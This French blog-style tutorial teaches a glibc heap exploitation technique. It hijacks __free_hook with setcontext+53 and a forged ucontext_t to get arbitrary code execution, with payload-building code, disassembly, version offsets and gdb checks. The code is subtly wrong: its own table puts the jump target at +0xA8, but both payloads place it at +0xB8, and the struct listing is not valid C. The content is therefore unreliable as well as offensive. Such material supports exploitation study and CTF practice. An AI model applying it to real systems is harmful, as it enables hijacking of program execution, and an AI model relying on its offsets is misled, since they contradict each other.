Utilisation de setcontext+53 pour la modification de __free_hook

Pour rediriger l'exécution du programme vers setcontext+53 lors de l'appel à free(), il est nécessaire de suivre plusieurs étapes clés :

  1. Détournement de __free_hook : On remplace l'adresse de __free_hook par celle de setcontext+53.
  2. Contrôle du registre RDI : L'argument de free() (l'adresse de la mémoire à libérer) est stocké dans RDI. Cette adresse doit pointer vers une structure ucontext_t falsifiée.
  3. Construction d'une structure ucontext_t falsifiée : On crée une structure ucontext_t qui permet de contrôler le flux d'exécution via setcontext+53.

Détails sur la construction de la structure ucontext_t falsifiée

La structure ucontext_t est utilisée par glibc pour sauvegarder le contexte d'exécution, notamment dans les fonctions comme setcontext et getcontext. En exploitant des vulnérabilités de tas, on peut créer une faussse structure ucontext_t pour détourner le flux d'exécution.

Pourquoi faut-il falsifier ucontext_t ?

Lorsque __free_hook est configuré pour pointer sur setcontext+53, l'appel à free() redirige l'exécution vers cette adresse. La fonction setcontext restaure le contexte d'exécution à partir de la structure ucontext_t. Pour que le programme exécute notre code, nous devons contrôler les valeurs des regsitres tels que RSP et RCX/RIP.

Parties essentielles de la structure ucontext_t


// Structure simplifiée de ucontext_t (x86_64)
struct ucontext_t {
    // ... autres champs non pertinents ...
    
    // Offsets importants à partir de 0xA0
    void *uc_stack.ss_sp;    // Pointeur de pile (RSP sera chargé ici)
    void *uc_stack.ss_size;  // Taille de la pile
    void *uc_link;           // Pointeur vers le prochain contexte
    
    // Régions de sauvegarde des registres (uc_mcontext.gregs)
    long gregs[23];          // Tableau des registres généraux
    // Indices :
    //   REG_R8 = 0
    //   REG_R9 = 1
    //   ...
    //   REG_RDI = 8
    //   REG_RSI = 9
    //   ...
    //   REG_RIP = 16   // Pointeur d'instruction
    //   REG_RSP = 19   // Pointeur de pile (réapparaît ici)
};

Construction de la structure falsifiée


# Construction de la structure ucontext_t falsifiée
payload = b''
payload += b'A' * 0xA0        # Remplissage des 0xA0 premiers octets
payload += p64(nouveau_rsp)   # [rdi+0xA0] - Nouveau pointeur de pile
payload += b'B' * 8           # uc_stack.ss_size (valeur arbitraire)
payload += b'C' * 8           # uc_link (doit être nul)
payload += p64(adresse_cible) # [rdi+0xA8] - Cible de saut

Explication des offsets

Offset Taille Usage Registre correspondant
+0xA0 8 octets Nouveau pointeur de pile RSP
+0xA8 8 octets Cible de saut RCX (via push; ret)

Pourquoi setcontext+53 nécessite ces offsets ?

Exemple de désassemblage de setcontext+53 (glibc 2.27-2.31) :


setcontext+53:
    mov    rsp, QWORD PTR [rdi+0xa0]  ; Charge le nouveau pointeur de pile
    mov    rbx, QWORD PTR [rdi+0x80]  ; Charge RBX
    mov    rbp, QWORD PTR [rdi+0x78]  ; Charge RBP
    mov    r12, QWORD PTR [rdi+0x48]  ; Charge R12
    mov    r13, QWORD PTR [rdi+0x50]  ; Charge R13
    mov    r14, QWORD PTR [rdi+0x58]  ; Charge R14
    mov    r15, QWORD PTR [rdi+0x60]  ; Charge R15
    mov    rcx, QWORD PTR [rdi+0xa8]  ; Charge RCX (clé!)
    push   rcx                        ; Pousse RCX sur la pile
    ret                               ; Saut à l'adresse pointée par RCX

Flux d'exploitation complet

  1. Préparation de la structure falsifiée : ```

     # Calcul de l'adresse cible
     cible = base_libc + 0x10a2fc  # Exemple one_gadget
    
     # Falsification de ucontext_t
     faux_ctx = b'A'*0xA0          # Remplissage jusqu'à 0xA0
     faux_ctx += p64(adresse_pile) # Nouveau pointeur de pile (RSP)
     faux_ctx += p64(0)            # ss_size (arbitraire)
     faux_ctx += p64(0)            # uc_link (doit être nul)
     faux_ctx += p64(cible)        # RCX (cible de saut)
    
  2. Écriture de la structure falsifiée : ```

     # Écriture de la structure falsifiée dans la mémoire tas
     ecrire(adresse_bloc_faux, faux_ctx)
    
  3. Détournement de __free_hook : ```

     setcontext_53 = base_libc + symboles_libc['setcontext'] + 53
     ecrire(adresse_free_hook, p64(setcontext_53))
    
  4. Déclenchement de l'exécution : ```

     # Libération du bloc de tas contenant la structure falsifiée
     liberer(adresse_bloc_faux)
    
     # Flux d'exécution :
     liberer(adresse_bloc_faux) → 
       RDI = adresse_bloc_faux →
       __free_hook(setcontext+53) →
          RSP = [RDI+0xA0] = adresse_pile
          RCX = [RDI+0xA8] = cible
          push RCX; ret → Saut à l'adresse cible
    
    
    

Différences entre les versions de glibc

Version glibc Offsets clés Registre de saut
2.27-2.31 +0xA0 (RSP) +0xA8 (RCX) RCX
2.32-2.35 +0x68 (RSP) +0x98 (RDX) RDX
2.36+ Reconstruction complète Nécessite une nouvelle méthode

Astuces de débogage

Utilisez gdb pour valider :


# Mettre un point d'arrêt sur setcontext+53
b *setcontext+53

# Vérifier les registres après avoir déclenché free
p $rdi  # Doit pointer sur la structure falsifiée
x/gx $rdi+0xA0  # Doit afficher adresse_pile
x/gx $rdi+0xA8  # Doit afficher cible

# Exécuter pas à pas jusqu'à ret
ni plusieurs fois

# Vérifier le saut
c  # Doit sauter à l'adresse cible

Falsifier la structure ucontext_t est une technique cruciale pour détecter le flux d'exécution en utilisant la fonction setcontext. En contrôlant précisément la disposition de la mémoire, on peut exécuter du code arbitraire.

Étiquettes: glibc setcontext ucontext_t heap exploitation x86_64

Publié le 4 août à 13h15